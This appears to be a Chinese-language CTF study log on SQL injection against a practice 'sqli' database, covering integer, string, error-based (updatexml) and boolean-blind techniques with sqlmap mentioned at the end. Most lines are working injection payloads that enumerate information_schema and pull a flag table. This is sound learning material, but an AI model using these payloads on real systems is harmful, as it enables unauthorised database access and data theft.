学习内容:
- 整数型注入
- 字符型注入
- 报错注入
- 布尔盲注
学习记录:
相关概念记忆:
information_schema:存储着mysql中所以数据库,表,列,索引等的元数据信息
information_schema.tables:存储着关于数据库中表的详细信息
information_schema.columns:存储着关于数据库中所有表的列的详细信息
table_name:存储着数据库中所以表的名称
table_schema:mysql中information_schema.tables表的一个列,存储着数据库中所有表所属的数据库名称
1.整数型注入
思路如下:
- 判断:输入1’#,‘单引号让字符型查询语句闭合,#将后面的语句注释掉,若为字符型查询语句应有回显,此处没有,判断为整数型注入。
- 万能公式的理解:分别输入1 and 1=1 和 1 and 1=2,其中前者有回显后者无,说明and后面的语句被执行了,存在sql注入漏洞
- order by:可以按照指定的列或表达式对结果集排序,order by 1,2,3,其中的1,2并不是列名,而是按照列表的第一列和第二列排序,根据是否回显判断这个表的列数
- union select:联合查询注入,union用于合并两个或多个select语句(注:union内的每个select语句必须用于相同数量的列)
- 判断显示位:-1 union select 1,2 其中id=-1为了让只得到select 1,2的结果,然后判断出2这个位置可以被代替
- 查询数据库的名字:-1 union select 1,database()
- 查询数据库中的表:-1 union select 1,table_name from information_schema.tables where table_schema='sqli' 或者 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
- 查flag表中的字段名(列名):-1 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'
- 查相应字段中的所有数据: -1 union select 1,flag from flag
2.字符型注入
思路如下:
1.判断: 1' 报错 1‘ and 1=1 报错 1’ and 1=1#(注释掉后边的引号)成功执行 1‘ and 1=2#报错说明and后面语句被执行了
2. order by: 1' order by 3# 超过它的字段数就会报错
3. 判断显示的信息是第几列的信息 -1' union select 1,2# (data =2)
4.查询数据库的名字 -1‘ union select 1,database()#
5查询数据库中的表 -1' union select 1,table_name from information_schema.tables where table_schema='sqli'#
6.查询表中的字段 -1' union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#
7.查询字段中的所有数据 -1' union select 1,flag from flag#
注意一定区分英文和中文的引号,中文的引号会报错
3.报错注入
相关知识记忆:
updatexml()函数 updatexml(xml_doument,XPath_string,new_value)
只需满足第二个参数符合XPath语句
思路如下:
1.查询数据库的名称
2.查询数据库中的表
报错显示:查询回显超过一行
需要使用limit 函数: limit 0,1 表示从表中的第0个数据开始,只读取1个
1 and updatexml(1,concat(0x7e,(select table_name from information _schema.tables where table_schema='sqli' limit 0,1)),3)
3.查询表中的字段(列)
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)),2)
4.查询字段中的所有数据
1 and updatexml(1,concat(0x7e,(select flag from flag)),2)
数据显示不全,需要用left和right函数
1 and updatexml(1,concat(0x7e,left((select group_concat(flag) from flag),16)),2)
1 and updatexml(1,concat(0x7e,right((select group_concat(flag) from flag),16)),2)
表示分别返回flag字符串中左边的16个字符串和右边的字符串
注意:
flag的长度一般在4-30之间
0x7e
等价于 ~
concat():拼接特殊符号和查询结果
updatexml和extractvalue最大只能爆出32位的值
4.布尔盲注
布尔盲注一般在页面只会显示正确和错误两种显示
先是进行手动注入
1.查数据库的名称
length(str) //返回str字符串的长度。
1 and length(database())=3 //判断数据库名字的长度是否为4
1 and length(database())>2 //判断数据库名称长度是否大于2
substr(str,pos,len) //将str从下标为pos的位置开始截取len长度的字符 1 and ascii(substr(database(),1,1))=n 获取数据库的第一个字符 1 and ascii(substr(database(),1,1))=n 获取数据库的第二个字符
2.查数据库中的表
猜第一张表的第一个字符
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110
猜第一张表的第二个字符
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>110
类推再去猜第二张表得到有效的表名flag
3.查表中的字段数
1 and (select count(column_name) from information_schema.columns where table_name='flag') = n
4.查表中的字段
1 and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1)>110
5.查数据
手动注入很复杂跟着网上教程在kali中使用sqlmap工具
1.查询数据库
看到返回结果得知下一步要查找sqli这个数据库
2.查询数据库中的表
可以查找到有两种表,其中flag为有效的
3.查找flag表中的字段
最后得到flag值